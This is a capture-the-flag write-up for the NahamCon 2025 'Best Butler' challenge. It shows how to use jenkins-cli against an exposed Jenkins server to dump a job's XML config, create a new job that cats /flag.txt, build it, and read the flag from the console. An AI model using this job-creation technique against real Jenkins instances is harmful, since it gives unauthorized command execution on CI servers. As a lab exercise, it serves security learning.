The Best Butler

Challenge Description

Author: @Kkevsterrr Truly, he’s the best butler - he might even be able to serve up a /flag.txt!

NOTE, this challenge might take a bit more time to start. The flag is located at the root of the filesystem (/flag.txt)

Jenkins is running with following system-backup Job

Any modification through GUI is not possible since its broken

download the jenkins-cli

https://www.jenkins.io/doc/book/managing/cli/#downloading-the-client

wget http://challenge.nahamcon.com:31404/jnlpJars/jenkins-cli.jar

get a copy of current XML config for a job:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ get-job system-backup 

<?xml version='1.1' encoding='UTF-8'?>
<project>
  <description>Automated backup service for critical system files</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>false</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders>
    <hudson.tasks.Shell>
      <command>
echo &quot;Starting system backup process...&quot;
echo &quot;Checking backup directories...&quot;
ls -la /var/backups/important/
echo &quot;Backup process completed.&quot;
</command>
      <configuredLocalRules/>
    </hudson.tasks.Shell>
  </builders>
  <publishers/>
  <buildWrappers/>
</project>

Edit the config to cat the /flag.txt and create a new job

cat flag.xml | java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ create-job gibflag

check if the job has been created

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ list-jobs
gibflag
system-backup

start new build:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ build gibflag

view the console:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ console gibflag

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References / Related

Checkout:

• NahamCon25